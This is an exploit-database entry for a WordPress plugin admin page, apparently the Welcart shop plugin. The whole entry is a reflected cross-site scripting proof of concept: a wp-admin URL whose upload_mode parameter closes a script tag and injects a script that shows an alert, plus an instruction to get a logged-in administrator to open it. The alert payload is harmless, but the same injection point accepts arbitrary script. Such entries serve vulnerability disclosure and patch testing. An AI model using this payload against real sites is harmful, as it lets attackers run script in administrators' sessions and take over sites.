## https://sploitus.com/exploit?id=WPEX-ID:81DC093A-545D-4BCD-AB85-EE9472D709E5
Make a logged in admin open the URL below:
https://example.com/wp-admin/admin.php?page=usces_itemedit&action=upload_register&upload_mode=</script><script>alert(/XSS/)</script>